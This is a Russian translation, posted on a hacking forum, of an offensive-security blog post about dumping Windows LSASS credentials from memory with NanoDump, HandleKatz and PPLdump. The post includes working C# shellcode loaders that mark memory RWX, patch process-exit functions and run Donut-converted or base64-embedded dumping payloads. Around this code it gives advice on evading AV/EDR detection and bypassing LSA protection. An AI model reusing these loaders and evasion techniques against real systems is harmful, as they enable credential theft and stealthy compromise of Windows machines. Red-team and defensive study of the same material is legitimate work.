• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья Дамп LSASS в 2021/2022 - по памяти - без C2

yashechka

Генератор контента.Фанат Ильфака и Рикардо Нарвахи
Эксперт
Регистрация
24.11.2012
Сообщения
2 344
Реакции
3 563
В этом посте будут описаны мои тесты и неудачи, а также путь к успеху при создании скриптов для дампа LSASS из памяти. В этом нет ничего нового, существующие инструменты, существующие методы. Но эти методы выполнения в памяти могут не сработать в определенных ситуациях. Эти ситуации плюс возможные решения показаны здесь. Все инструменты дампа LSASS были зарелизены/опубликованы в прошлом году и, с моей точки зрения, являются самыми современными на данный момент.

Я не писал статей в блоге в течение более длительного времени. Было слишком много других проектов, таких как Streaming & Scripting. Но теперь у меня также была одна небольшая тема, которая может быть интересна для некоторых из вас. Если вы когда-нибудь пытались использовать рефлексивный загрузчик для запуска PE из памяти и по какой-то причине потерпели неудачу, этот пост может дать решение некоторых проблем.

Введение

В прошлом году было выпущено еще несколько инструментов для дампа процесса LSASS с целью разбора учетных данных Windows. Для этой цели в общедоступном мире Github уже есть десятки инструментов. Но три новых инструмента, с моей точки зрения, более важны в данный момент, поскольку они решают определенные "проблемы" для нас, людей из оффсека. Они такие:

- PPLdump
- Handlekatz
- NanoDump


PPLdump — единственный известный мне инструмент/метод, способный обойти защиту LSA без использования пользовательского драйвера и, следовательно, из юзерлаенда. Обновление: всего через два дня после написания этого предложения техника PPLDump была интегрирована в NanoDump через новый коммит.

Если вы еще этого не сделали, я настоятельно рекомендую прочитать эти два сообщения в блоге от @itm4n — Знаете ли вы действительно о защите LSA (RunAsPPL)? (https://itm4n.github.io/lsass-runasppl/) и Обход защиты LSA в пространстве пользователя (https://blog.scrt.ch/2021/04/22/bypassing-lsa-protection-in-userland/).

Альтернативой этому может быть, например, использование Mimikatz с таким драйвером:

1667668960110.png


В последние годы методы обнаружения дампов LSASS от поставщиков AV/EDR постоянно совершенствуются. Использование MiniDumpWriteDump функции, которую используют многие старые инструменты, скорее всего, будет обнаружено путем перехвата. Кроме того, открытие нового дескриптора самого процесса lsass.exe в настоящее время также обнаруживается/блокируется многими поставщиками. Сброс дампа памяти lsass.exe на диск также является IoC, который обнаруживается/блокируется некоторыми поставщиками. У вас может быть успешный дамп процесса, но сигнатура файла дампа может быть обнаружена, так что файл будет немедленно удален.

Handlekatz и NanoDump обходят эти меры обнаружения, что, с моей точки зрения, делает их современными. Outflank уже выпустил инструмент дампа LSASS под названием Dumpert три года назад, так что в этом тоже нет ничего нового. Но более новые инструменты используют системные вызовы, полученные через Syswhispers2, что делает их актуальными. Таким образом, перехват обходится с помощью прямого использования системного вызова и/или динамического вызова Win32 API. Обнаружение подписи файла дампа памяти можно обойти с помощью опции удаления дампа с недопустимой подписью. В противном случае возможно получить дамп полностью из памяти, но только через сервер C2.

Есть много других функций — просто взгляните на их README и код, чтобы получить общее представление.

Исполнение из памяти

Почему мы вообще должны заботиться об исполнении в памяти? Просто скомпилируйте исходный код и поместите его в целевую систему, скорее всего, он будет обнаружен локальным решением AV/EDR. Обнаружение на основе сигнатур может пометить двоичный файл, который вы сбрасываете, и/или его можно перенаправить в облако/песочницу для анализа на основе поведения. Выполнение двоичных файлов из памяти позволит обойти эти методы обнаружения и "единственное", о чем вам нужно позаботиться, это сканеры памяти и/или обнаружения на основе поведения для процесса.

Используя среду управления и контроля, такую как Кобальт или другие, существующие модули можно использовать для выполнения PE или сценариев из памяти. Но не у всех в нашей отрасли есть доступ к этим инструментам, и особенно пентестеры не будут использовать C2 во всех своих проектах. Поэтому я хотел, чтобы эти инструменты можно было использовать из памяти для всех простым способом. Мои стримы также содержат одно видео с объяснением того, как использовать PE-Loaders и загружать двоичные файлы C# из Powershell — Reflective C# Assembly Loading && Reflective PE-Injection (
). Но, как покажет этот пост в блоге, это работает не только для каждого Portable Executable.

Все три инструмента написаны на C/C++. Итак, если мы хотим выполнить их из памяти, у нас есть три варианта (если кто-то знает больше, я открыт для DM с поправкой):

- Используйте PE-загрузчик
- Преобразуйте их в шелл-код и выполните его
- Перенесите функциональность/технику на C#/Powershell, чтобы легко загружать их из памяти.


Мне нравится идти по пути кратчайшего сопротивления и, следовательно, быстрых побед. Поэтому я исключил для себя номер три. Это заняло бы у меня слишком много времени. Так что я топлю за первую и вторую методики.

Использование PE-загрузчика

Чтобы оставаться в памяти, я предпочитаю использовать инструменты на C# или Powershell. Мои личные предпочтения с точки зрения PE-Loader для этих языков следующие:

- Powershell — Powersploits Invoke-ReflectivePEInjection
- C# — Nettitudes RunPE RunPE


Оба имеют важные функции для PE-Loader, такие как:

- Патчинг функции Exit &
- Обработка аргументов


Многие другие общедоступные загрузчики PE не заботятся об этих двух функциях и поэтому в определенных ситуациях дают сбой. Без исправления функции Exit весь процесс умрет после выполнения (что может включать двоичный файл хоста, такой как powershell.exe или C2-implant). Нет обработки аргументов == нет возможности передавать аргументы в рефлексивно загруженный PE.

Используя Powershell и Invoke-ReflectivePEInjection, я попробовал следующее:

1667668996225.png


1667669004979.png


В случае с PPLDump аргументы явно не принимались. Итак, функция обработки аргументов не удалась. Если аргументы теперь приняты, но двоичный файл работает нормально, у нас есть два варианта, с моей точки зрения:

- Жесткое кодирование аргументов в исходный код перед компиляцией

- Найди проблему в загрузчике и исправьте ее


Первый вариант, безусловно, экономит время для быстрого выигрыша. Но имеет тот недостаток, что вам нужно создавать новый сценарий для каждой цели и опции инструмента. Поэтому, если у вас есть, например, пять вариантов дампа LSASS, вы можете использовать только один для каждого скрипта. Имя выходного файла для дампа всегда будет оставаться неизменным, что может использоваться как IoC от поставщиков AV/EDR и помечаться. Это отстой. Поэтому я сам трачу несколько часов в течение нескольких недель на устранение этой проблемы и возился с кодом, пытаясь исправить ее, но безуспешно. Вот некоторые из моих идей/подходов:

- Исправление PEB для передачи аргументов в текущий процесс перед рефлективной загрузкой исполняемого файла (подмена командной строки)

- Передача аргументов через аргумент функции API CreateThread или CreateRemoteThread

- Некоторая возня с CommandLinetoArgW аргументами, а также использование разных форматов (например, Unicode)


В какой-то момент я отказался от этого подхода и придерживался жесткого кодирования аргументов. Однако выполнение этого для PPLDump привело к следующему - с набором отладочных и подробных аргументов:

1667669025320.png


Оказалось, что это совсем другая проблема. Решение для этого можно найти позже в этом посте.

Тестирование Invoke-ReflectivePEInjection для NanoDump и Handlekatz привело к сбою всего процесса для меня. Позже выяснилось, что это было (по крайней мере, для NanoDump) связано со старой виртуальной машиной Windows Build. Я пытался устранить эту проблему в течение одного или двух часов, но затем решил попробовать RunPE. Для NanoDump это при первом запуске вернуло следующее поведение:

C#:
C:\temp\RunPE-main\RunPE-main\RunPE\bin\Release\RunPE.exe C:\temp\dumptools\nanodump.x64.exe -h

[-] Error running RunPE: System.ArgumentNullException: Der Wert darf nicht NULL sein.
Parametername: destination
   bei System.Runtime.InteropServices.Marshal.CopyToNative(Object source, Int32 startIndex, IntPtr destination, Int32 length)
   bei RunPE.Patchers.PEMapper.MapPEIntoMemory(Byte[] unpacked, PELoader& peLoader, Int64& currentBase) in C:\temp\RunPE-main\RunPE-main\RunPE\Patchers\PEMapper.cs:Zeile 27.
   bei RunPE.Program.Main(String[] args) in C:\temp\RunPE-main\RunPE-main\RunPE\Program.cs:Zeile 55.

Это было легко устранить и исправить для меня. При этом .bssраздел для nanodump был пуст. Таким образом, исправление заключается в том, чтобы копировать раздел в память только тогда, когда он не пуст:

C#:
Before (PEMapper.cs lines 26-33):

            // Copy Sections
            for (var i = 0; i < _pe.FileHeader.NumberOfSections; i++)
            {
                var y = NativeDeclarations.VirtualAlloc((IntPtr) (currentBase + _pe.ImageSectionHeaders[i].VirtualAddress),
                    _pe.ImageSectionHeaders[i].SizeOfRawData, NativeDeclarations.MEM_COMMIT, NativeDeclarations.PAGE_READWRITE);
                Marshal.Copy(_pe.RawBytes, (int) _pe.ImageSectionHeaders[i].PointerToRawData, y, (int) _pe.ImageSectionHeaders[i].SizeOfRawData);
            }


After:


            // Copy Sections
            for (var i = 0; i < _pe.FileHeader.NumberOfSections; i++)
            {
                var y = NativeDeclarations.VirtualAlloc((IntPtr) (currentBase + _pe.ImageSectionHeaders[i].VirtualAddress),
                    _pe.ImageSectionHeaders[i].SizeOfRawData, NativeDeclarations.MEM_COMMIT, NativeDeclarations.PAGE_READWRITE);
                // additional check if memory allocation was successfull
                if (y != IntPtr.Zero)
                {
                    Marshal.Copy(_pe.RawBytes, (int) _pe.ImageSectionHeaders[i].PointerToRawData, y, (int) _pe.ImageSectionHeaders[i].SizeOfRawData);
                }
            }

Для обоих - загрузчик HandleKatz и Nanodump - это все еще не удалось и привело к сбою RunPE (функции очистки больше не выполнялись):

1667669085589.png


На данный момент я не хотел копаться глубже в PELoaders и вместо этого попробовал второй метод через преобразование в шеллкод.

Преобразование PE в шеллкод и его выполнение

Существует несколько общедоступных инструментов для преобразования PE в шеллкод. Вот три примера репозитория для этой техники:

- Donut
- pe_to_shellcode
- sRDI


Donut также может преобразовывать код .NET Assembles, DLL, VBS, JS или XSL в шеллкод. И - он шифрует свои полезные нагрузки и расшифровывает их во время выполнения. Эта комбинация действительно хороша для полезной нагрузки, поэтому мы пока будем придерживаться ее.

Преобразование PE в шеллкод с помощью пончика выполняется следующим образом:

Windows

1667669107148.png


Linux

1667669115140.png


Вы можете передавать аргументы через параметр "-p". Следующий код C# способен загрузить этот шелл-код из файла, чтобы выполнить его как поток:

C#:
using System;
using System.Runtime.InteropServices;
using System.Collections.Generic;
using System.IO;

namespace ShellcodeInject
{
    public class Program
    {


        // Exitpatcher function stolen from From Nettitudes RunPE -> https://github.com/nettitude/RunPE

        internal const uint PAGE_EXECUTE_READWRITE = 0x40;

        [DllImport("kernel32.dll")]
        internal static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpFlOldProtect);

        internal static byte[] PatchFunction(string dllName, string funcName, byte[] patchBytes)
        {

            var moduleHandle = GetModuleHandle(dllName);
            var pFunc = GetProcAddress(moduleHandle, funcName);

            var originalBytes = new byte[patchBytes.Length];
            Marshal.Copy(pFunc, originalBytes, 0, patchBytes.Length);


            var result = VirtualProtect(pFunc, (UIntPtr)patchBytes.Length, PAGE_EXECUTE_READWRITE, out var oldProtect);
            if (!result)
            {

                return null;
            }

            Marshal.Copy(patchBytes, 0, pFunc, patchBytes.Length);


            result = VirtualProtect(pFunc, (UIntPtr)patchBytes.Length, oldProtect, out _);
            if (!result)
            {
            }

            return originalBytes;
        }

        private byte[] _terminateProcessOriginalBytes;
        private byte[] _ntTerminateProcessOriginalBytes;
        private byte[] _rtlExitUserProcessOriginalBytes;
        private byte[] _corExitProcessOriginalBytes;

        [DllImport("kernel32.dll", CharSet = CharSet.Auto)]
        internal static extern IntPtr GetModuleHandle(string lpModuleName);

        [DllImport("kernel32.dll", CharSet = CharSet.Ansi, ExactSpelling = true, SetLastError = true)]
        internal static extern IntPtr GetProcAddress(IntPtr hModule, string procName);

        internal bool PatchExit()
        {


            var hKernelbase = GetModuleHandle("kernelbase");
            var pExitThreadFunc = GetProcAddress(hKernelbase, "ExitThread");

            var exitThreadPatchBytes = new List<byte>() { 0x48, 0xC7, 0xC1, 0x00, 0x00, 0x00, 0x00, 0x48, 0xB8 };
            /*
                mov rcx, 0x0 #takes first arg
                mov rax, <ExitThread> #
                push rax
                ret
             */
            var pointerBytes = BitConverter.GetBytes(pExitThreadFunc.ToInt64());

            exitThreadPatchBytes.AddRange(pointerBytes);

            exitThreadPatchBytes.Add(0x50);
            exitThreadPatchBytes.Add(0xC3);

            _terminateProcessOriginalBytes =
                PatchFunction("kernelbase", "TerminateProcess", exitThreadPatchBytes.ToArray());
            if (_terminateProcessOriginalBytes == null)
            {
                return false;
            }
            _corExitProcessOriginalBytes =
                PatchFunction("mscoree", "CorExitProcess", exitThreadPatchBytes.ToArray());
            if (_corExitProcessOriginalBytes == null)
            {
                return false;
            }

            _ntTerminateProcessOriginalBytes =
                PatchFunction("ntdll", "NtTerminateProcess", exitThreadPatchBytes.ToArray());
            if (_ntTerminateProcessOriginalBytes == null)
            {
                return false;
            }


            _rtlExitUserProcessOriginalBytes =
                PatchFunction("ntdll", "RtlExitUserProcess", exitThreadPatchBytes.ToArray());
            if (_rtlExitUserProcessOriginalBytes == null)
            {
                return false;
            }

            return true;
        }

        internal void ResetExitFunctions()
        {

            PatchFunction("kernelbase", "TerminateProcess", _terminateProcessOriginalBytes);

            PatchFunction("mscoree", "CorExitProcess", _corExitProcessOriginalBytes);

            PatchFunction("ntdll", "NtTerminateProcess", _ntTerminateProcessOriginalBytes);

            PatchFunction("ntdll", "RtlExitUserProcess", _rtlExitUserProcessOriginalBytes);

        }

        private delegate IntPtr GetPebDelegate();


        [DllImport("kernel32")]
        public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr param, uint dwCreationFlags, IntPtr lpThreadId);

        [DllImport("kernel32")]
        public static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);


        public static void Inject()
        {

            byte[] buf1 = File.ReadAllBytes(@"nano.bin");
            uint num;
            IntPtr pointer = Marshal.AllocHGlobal(buf1.Length);
            Marshal.Copy(buf1, 0, pointer, buf1.Length);
            VirtualProtect(pointer, new UIntPtr((uint)buf1.Length), (uint)0x40, out num);

            var mc = new Program();

            bool patched = mc.PatchExit();
            Console.WriteLine("\r\nExit functions patched: " + patched + "\r\n\r\n");

            IntPtr hThread = CreateThread(IntPtr.Zero, 0, pointer, IntPtr.Zero, 0, IntPtr.Zero);
            WaitForSingleObject(hThread, 0xFFFFFFFF);

            Console.WriteLine("Thread Complete");

            mc.ResetExitFunctions();


        }

    }
}

Я оставляю читателю в качестве упражнения использовать системные вызовы вместо Win32 API, чтобы избежать обнаружения. Исправление функции выхода имеет важное значение. Если вы пропустите это, весь процесс всегда будет умирать при выходе из исполняемого файла.

Эту скомпилированную C# DLL можно загрузить из памяти, встроив ее в сценарий Powershell, например, так:

1667669143478.png


Однако попытка этой техники также не удалась для меня, так как процесс все еще умирал при вызове CreateThread. Прошло несколько недель, а у меня из памяти не загружался ни один бинарник. Поэтому я попросил замечательное сообщество в Твиттере дать советы/помощь. И действительно, @s4ntiago_p и @NotMedic упомянули два способа решить эту проблему. Спасибо вам, ребята!

Заставляем вещи работать

NanoDump


@s4ntiago_p сказал мне, что он смог загрузить Nanodump из памяти через шелл-код Donut. Но вместо того, чтобы использовать последний релиз, он форкнул репо и добавил дополнительные проверки + улучшил пончик в целом. Эта работа потрясающая. Вы можете найти его здесь — https://github.com/S4ntiagoP/donut/tree/syscalls. Этот форк также содержит поддержку Syscall для исправления AMSI/WDLP, а также для некоторых других задач, что здорово. Просто взгляните на изменения сами:

1667669158875.png


Тем не менее, выполнение точно таких же действий, как упоминалось в главе о преобразовании PE в шеллкод с этим ответвлением, привело к функциональному выполнению памяти без сбоя процесса. Полученный код C# можно найти здесь (https://github.com/S3cur3Th1sSh1t/Creds/blob/master/Csharp/NanoDumpInject.cs), а сценарий Powershell для загрузки этого скомпилированного кода C# был добавлен в репозиторий PowerSharpPack.

У этого решения все еще есть недостаток, заключающийся в том, что аргументы жестко закодированы в шелл-коде пончика. Таким образом, для любого другого метода дампа NanoDump (MalsecLogon, Snapshot, PPL и т. д.) вам потребуется создать новый шелл-код.

Однако @NotMedic удалось изменить Invoke-ReflectivePEInjection, чтобы он мог выполнять NanoDump из памяти. Его решение можно найти здесь: https://github.com/NotMedic/Invoke-Nanodump. Этот скрипт имеет большое преимущество, так как вы действительно можете передавать аргументы и, следовательно, использовать любой метод NanoDump, который вы хотите, через тот же скрипт. Я взглянул на изменения в оригинальном Invoke-ReflectivePEInjection, и это не так уж и много. Двумя "основными" изменениями были следующие:

1667669169105.png


И да - это барп компаратор.

Кроме того, были добавлены еще две DLL для перезаписи командной строки:

1667669177910.png


Я столкнулся с проблемой, что эта версия все еще дает сбой в Windows Builds 10.0.17 *, но работает для версий never. Поэтому могут потребоваться дополнительные изменения, чтобы заставить его работать в каждой версии.

Handlekatz

Запуск HandleKatz немного отличался от Nanodump, поскольку шелл-код для этого бинарного файла уже может быть сгенерирован make allс помощью этого репозитория. Сегмент .text сгенерированного PE-файла уже представляет собой полностью позиционно-независимый код (PIC) и поэтому может подвергаться угрозам, как шелл-код. Репозиторий также содержит описание того, как создать вредоносное ПО с помощью этой техники PICYourMalware.pdf .

Согласно README мы можем вызвать этот шеллкод и передать ему аргументы в следующем виде:

1667669190437.png


Таким образом, вместо простого выполнения шелл-кода нам нужно создать делегат для функции, например, на C#, которая передает аргументы в точку входа шелл-кода. Я снова боролся с этим в течение нескольких часов, потому что я никогда раньше не использовал указатель на массив символов в С#, который был необходим в качестве второго и четвертого аргумента. В какой-то момент я был уверен, что мое решение правильное, но использование делегата все равно приводило к постоянному сбою бинарника. Итак, снова я попросил людей в сообществе помочь с этой проблемой, и замечательные ребята @am0nsec и @EthicalChaos помогли мне найти правильное решение:

1667669198835.png


Здесь важно указать CharSet.Ansi, так как это автоматически решает преобразование входных и выходных значений для нас. Чтобы передать значение выходного пути в функцию, нам нужно использовать, например, следующее:

1667669207077.png


Мы не можем сделать то же самое для выходного значения в аргументе четыре, так как это также приведет к сбою. Но использование StringBuilder здесь прекрасно работает:

Полный код C# для выполнения в памяти выглядит следующим образом:

C++:
using System;
using System.Runtime.InteropServices;
using System.Text;
namespace HandleKatzInject
{
    public class Program
    {
        [DllImport("kernel32.dll")]
        static extern bool VirtualProtect(IntPtr hProcess, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);
        [DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
        static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
        [UnmanagedFunctionPointer(CallingConvention.StdCall, CharSet = CharSet.Ansi)]
        public delegate uint HandleDelegate(bool reconOnly, IntPtr path, uint pID, StringBuilder output);
        public static void Inject(bool recon, string path, uint pID)
        {
            // HandleKatz.bin base64 encoded - https://github.com/codewhitesec/HandleKatz
            string base64Katz = "V0iJ50iD5PBIg+wg6L8sA[...snip...]AAAAA";
            byte[] buf1 = Convert.FromBase64String(base64Katz);
            uint num;
            IntPtr pointer = Marshal.AllocHGlobal(buf1.Length);
            Marshal.Copy(buf1, 0, pointer, buf1.Length);
            VirtualProtect(pointer, new UIntPtr((uint)buf1.Length), (uint)0x40, out num);
            var func = (HandleDelegate)Marshal.GetDelegateForFunctionPointer(pointer, typeof(HandleDelegate));
            IntPtr StringPointer = Marshal.AllocHGlobal(0x100);
            byte[] ByteArray = Encoding.ASCII.GetBytes(path);
            Marshal.Copy(ByteArray, 0, StringPointer, ByteArray.Length);
            StringBuilder output = new StringBuilder(512);
            uint result = func(recon, StringPointer, pID, output);
            Console.WriteLine(output);
        }
    }
}

Чтобы выполнить это из памяти, мы можем - как я сделал с NanoDump, загрузив эту скомпилированную сборку C#, например, через Powershell:


PPLDump

В этот момент я связался с @itm4n и спросил о потенциальной основной причине. И он сказал мне, что DLL PPLDump встроена в .rsrc раздел исполняемого файла и загружается во время выполнения FindResourceс помощью следующего фрагмента кода:

1667669289003.png


Прочитав документы MicrosoftFindRecource и другие API, я обнаружил, что со NULL значением в качестве первого аргумента эта функция ищет в разделе текущего двоичного файла процесса значение, определенное через lpName/lpType .rsrc - в нашем случае PPLDump dll. Но поскольку наш текущий двоичный файл процесса PPLDump.exe больше не используется, а используется Powershell.exe для Invoke-ReflectivePEInjection или RunPE.exeдля загрузчика C#, dll так и не была найдена в этом разделе. Поэтому я возился с первым аргументом и пытался проанализировать разделы рефлексивно загруженного PPLDump, чтобы передать указатель на его .rsrc раздел, FindResource - но мой подход все равно не удался.

В какой-то момент мне стало ясно, что изменения в рефлективном загрузчике займут у меня слишком много времени. Поэтому я решил просто изменить исходный код PPLDump, чтобы заставить его работать. Вместо использования FindResourceя встроил всю DLL в виде массива символов в исходный код и просто использовал этот массив для DLL. Это выглядело следующим образом:

1667669298856.png


И через это - проблема была решена. Я не углублялся в проблему разбора аргументов для PPLDump — и модифицированный Invoke-ReflectivePEInjection от @NotMedic здесь тоже не работал. Поэтому я использовал тот же подход, что и NanoDump, преобразовал PPLDump в шеллкод с жестко запрограммированными аргументами через пончик и создал для него загрузчик C#. Та же кодовая база, отличается только шеллкод в кодировке base64:


Поскольку эту сборку можно загрузить через Powershell, она также добавлена в PowerSharpPack:


1667669312802.png


Мой первоначальный план состоял в том, чтобы написать что-то вроде следующего: Чтобы сделать этот метод еще более незаметным, вы должны портировать PPLDump для системных вызовов, а не использовать его, как с MiniDumpWriteDumpфункцией.

Но @s4ntiago_p уже сделал это два дня назад, интегрировавшись в NanoDump. Таким образом, NanoDump — или его кодовая база — определенно поможет, если моя реализация выйдет из строя или будет обнаружена).

Вывод

Так зачем я вообще написал этот пост в блоге? Я почти уверен, что многие другие также пытались загрузить некоторые другие классные инструменты C/C++ из памяти через PE-Loader и столкнулись с теми же или похожими проблемами. Много раз дело не только в использовании загрузчика, и он работает. Я надеюсь, что этот пост поможет некоторым из вас получить альтернативную идею/подход к решению этого упражнения.

- Изменение самого отражающего загрузчика может привести к успеху в некоторых ситуациях, но это может стоить вам много времени в зависимости от проблемы.

- Преобразование в шеллкод и его выполнение — еще один способ решить эту проблему. Ничего нового, но, возможно, некоторые из вас не знали этого до сих пор.

- Использование жестко закодированных аргументов в PE может решить проблемы с разбором аргументов, но имеет некоторые очевидные упомянутые недостатки в зависимости от инструмента.

Иногда даже небольшие проекты могут занимать много времени. И я так рад этому сообществу и людям, которые повсюду отвечают на вопросы. Этот небольшой проект никогда бы не удался, и сообщение в блоге не существовало бы без поддержки и предыдущей работы всех других упомянутых людей, большое спасибо всем вам!

Ссылки и ресурсы

Переведено специально для xss.pro
Автор перевода: yashechka
Источник: https://s3cur3th1ssh1t.github.io/Reflective-Dump-Tools/
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх